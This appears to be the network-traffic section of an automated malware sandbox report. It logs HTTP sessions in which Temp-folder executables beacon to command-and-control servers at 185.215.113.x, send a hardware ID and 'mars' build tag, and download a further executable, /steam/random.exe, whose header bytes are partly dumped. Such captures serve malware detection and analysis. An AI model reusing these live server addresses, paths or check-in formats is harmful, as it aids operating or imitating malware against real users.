Nov 11, 2024 14:33:41.257477999 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 11, 2024 14:33:41.898418903 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50059	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:43.532480001 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 14:33:44.171506882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50060	185.215.113.206	80	5924	C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:43.856467962 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 14:33:44.497535944 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:33:44.499974966 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 31 45 35 34 38 36 37 45 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="hwid"461E54867E713604296297------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="build"mars------CBFBKFIDHIDGHJKFBGHC--
Nov 11, 2024 14:33:44.702424049 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50061	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:45.708348036 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 11, 2024 14:33:46.349522114 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50062	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:47.975740910 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 14:33:48.614573956 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50065	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:50.304071903 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 11, 2024 14:33:50.947369099 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50068	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:52.586286068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 14:33:53.226115942 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50071	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:54.748878956 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 11, 2024 14:33:55.391418934 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50073	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:57.134669065 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 14:33:58.459191084 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 11, 2024 14:33:58.459413052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 11, 2024 14:33:58.459673882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50074	185.215.113.206	80	6016	C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:58.461276054 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 14:33:59.117779970 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:33:59.120110035 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 31 45 35 34 38 36 37 45 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="hwid"461E54867E713604296297------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="build"mars------DAKFIDHDGIEGCAKFIIJK--
Nov 11, 2024 14:33:59.322880983 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50076	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:59.995138884 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 11, 2024 14:34:00.634716988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:34:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50078	185.215.113.16	80	2516	C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:34:01.027627945 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 11, 2024 14:34:01.671026945 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:34:01 GMT Content-Type: application/octet-stream Content-Length: 1792512 Last-Modified: Mon, 11 Nov 2024 13:28:47 GMT Connection: keep-alive ETag: "6732068f-1b5a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 69 00 00 04 00 00 a1 16 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"h@ i@M$a$ $b@.rsrc $r@.idata $r@ `*$t@flqmrefc Ov@pvhoknzuh4@.taggant0h"8@
Nov 11, 2024 14:34:01.671046019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:34:01.671056986 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:34:01.671068907 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:34:01.671081066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: "5x;u2
Nov 11, 2024 14:34:01.671123981 CET	1236	IN	Data Raw: 11 3e 63 78 c0 3b 89 4c cf 5e b2 5f bf 26 1e 66 15 3b f0 11 a6 b6 f2 c6 50 2b e3 43 01 6a 73 06 2a 00 85 5f dc 29 51 a8 f6 ab ee 27 da 7d 76 85 36 0e fc 16 77 55 4c f8 67 a4 7a 50 71 34 e5 40 34 a2 c4 ee 26 89 9c c0 dc 24 5c 5a 03 4d 73 18 67 da Data Ascii: >cx;L^_&f;P+Cjs*_)Q'}v6wULgzPq4@4&$\ZMsg3HYz61E{ZWO~rfY0gy6N$u6-_,)p)l;heqFRE<B,Rz{\H0@Yt6ACc:{gLZrK+PwIC2Ys
Nov 11, 2024 14:34:01.671139002 CET	1236	IN	Data Raw: 06 b2 b3 e4 83 28 ae 34 d5 ce ed 1b 87 6b 91 2a f3 8c 8b 85 d9 c5 8c 61 58 a1 19 a6 73 3e be 39 4d a1 44 46 2b a5 a9 16 71 eb be b5 60 33 c3 98 74 b2 41 11 8f 0a c4 3a 53 7b 81 cf 9f d1 65 bd d7 28 0a b5 d0 64 78 b8 83 a4 f9 23 fd 2b be 03 f2 ce Data Ascii: (4kaXs>9MDF+q`3tA:S{e(dx#+5s}{6Luv9$hs6bo0zb6p)>qA4ur5v\|z7;rhG{1<8D8eC(#{?n)]s<M{Le)]K
Nov 11, 2024 14:34:01.671152115 CET	1236	IN	Data Raw: 11 3b 9d b7 13 f2 f9 76 ff 60 7d 23 c8 f3 81 7c f2 da c7 57 5b 38 36 54 26 66 c1 1b 1c 00 8d 92 ec 33 a4 29 13 d8 74 7b a5 2b 60 bd 26 e6 82 d4 b1 64 8f 34 33 26 75 62 6d 76 fc 55 7d 87 1b 61 47 14 b0 78 f6 26 19 3c 06 b7 6a f0 43 68 51 d9 f7 0e Data Ascii: ;v`}#\|W[86T&f3)t{+`&d43&ubmvU}aGx&<jChQ\|eCJNK.z!jA?Yt75tnlNU&SdQEzJc3y?_38L=FCgNid!u8U33;gz:e;-y*
Nov 11, 2024 14:34:01.671163082 CET	1236	IN	Data Raw: 75 a2 87 3b 7c ab 28 3d 11 f1 f1 d4 07 b2 79 8f 35 ac 12 d8 1d 64 11 55 a5 32 a9 d0 1a 38 81 fb 79 fe b6 8b f9 4e e6 7d 41 36 61 4a 02 26 9b 54 35 37 d0 ba bc 2f 7e 3d 10 28 11 67 89 2a 36 3f d9 68 93 78 29 a6 82 7f 47 36 b3 41 7b 52 87 77 51 44 Data Ascii: u;\|(=y5dU28yN}A6aJ&T57/~=(g6?hx)G6A{RwQDD}37:'85xC_ETxdUExw*+4XI7p}~>xKdD1kr5dzuD3AyBS&M+oE)6C,G8UyC}[Dy_f>c}gDscJ
Nov 11, 2024 14:34:01.671199083 CET	1236	IN	Data Raw: 19 ac 99 b1 07 b2 8d 83 21 38 b1 b7 13 1e fa 29 fb be 5a 19 42 2a 8a 8f 33 a2 fa 57 40 78 93 55 2a 34 76 49 8d 41 a0 d5 9a 30 e9 75 07 ae 81 87 7c ab 94 8b 8e c2 12 4a a1 2a a9 77 7f 2f f5 cb 1b 72 31 4a c5 a6 c1 d3 49 19 c5 3b 78 9a f5 75 e9 4a Data Ascii: !8)ZB3W@xU4vIA0u\|Jw/r1JI;xuJuz+S8xuGws=Fy_wd$U+BUUV5F>I\|{W;bc\ '^gaE67]SluI!yydsv)"tjTImj<Ci9}]z
Nov 11, 2024 14:34:01.676294088 CET	1236	IN	Data Raw: 07 43 0d 44 e1 aa 9d 7d e1 36 35 4a 12 f6 79 d7 7b b7 87 8e 2f 52 25 ac 0c d0 de 75 6c ea b1 3f 2c 75 c7 c0 26 32 21 d8 6c a8 44 9d 1c 21 48 3b 62 ad b0 fb 58 72 e1 9d 46 b2 72 1a ae 53 fc 0b 42 41 fa 90 ed f3 ed 78 ed e8 9c 37 2c 87 4a 67 da 5b Data Ascii: CD}65Jy{/R%ul?,u&2!lD!H;bXrFrSBAx7,Jg[hGM4Co}UCTh%p.)q<$MTMy-{1,@+>v7:74-j/~5s:F,b]:tpscyms9:<e9w9t.>TKl(O[g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50079	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:34:02.278783083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 14:34:02.915851116 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	142.250.185.132	443	7860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:06 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 13:32:06 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:06 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-tIGxi0TZtYNj6czXg4wKiA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
